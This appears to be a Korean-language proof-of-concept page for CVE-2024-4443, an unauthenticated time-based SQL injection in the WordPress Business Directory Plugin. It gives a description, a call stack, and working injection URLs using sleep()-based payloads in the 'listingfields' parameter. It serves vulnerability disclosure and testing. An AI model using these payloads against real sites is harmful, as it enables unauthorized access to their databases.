truonghuuphuc/cve-2024-4443-pocCVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress <= 6.4.2 - listingfields 매개변수를 통한 인증되지 않은 SQL 인젝션
CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress <= 6.4.2 - listingfields 매개변수를 통한 인증되지 않은 SQL 삽입
설명
WordPress용 Business Directory Plugin – Easy Listing Directories for WordPress 플러그인은 버전 6.4.2 이하에서 사용자 제공 매개변수에 대한 이스케이프가 충분하지 않고 기존 SQL 쿼리에 대한 준비가 부족하여 'listingfields' 매개변수를 통한 시간 기반 SQL 삽입(time-based SQL Injection)에 취약합니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 덧붙여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
호출 스택
WPBDP__Listing_Search->execute (\business-directory-plugin\includes\helpers\class-listing-search.php:88)
WPBDP__Listing_Search->_traverse_tree (\business-directory-plugin\includes\helpers\class-listing-search.php:185)
WPBDP__Listing_Search->__construct (\business-directory-plugin\includes\helpers\class-listing-search.php:35)
WPBDP__Listing_Search::parse_request (\business-directory-plugin\includes\helpers\class-listing-search.php:214)
WPBDP__Listing_Search::from_request (\business-directory-plugin\includes\helpers\class-listing-search.php:210)
WPBDP__Views__Search->dispatch (\business-directory-plugin\includes\controllers\pages\class-search.php:54)
PoC
URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[{{Injection payload}}][1]=
정상 URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[1]=
거짓 페이로드 URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1=0,5,0))+))--+-][1]=
참 페이로드 URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1=1,5,0))+))--+-][1]=
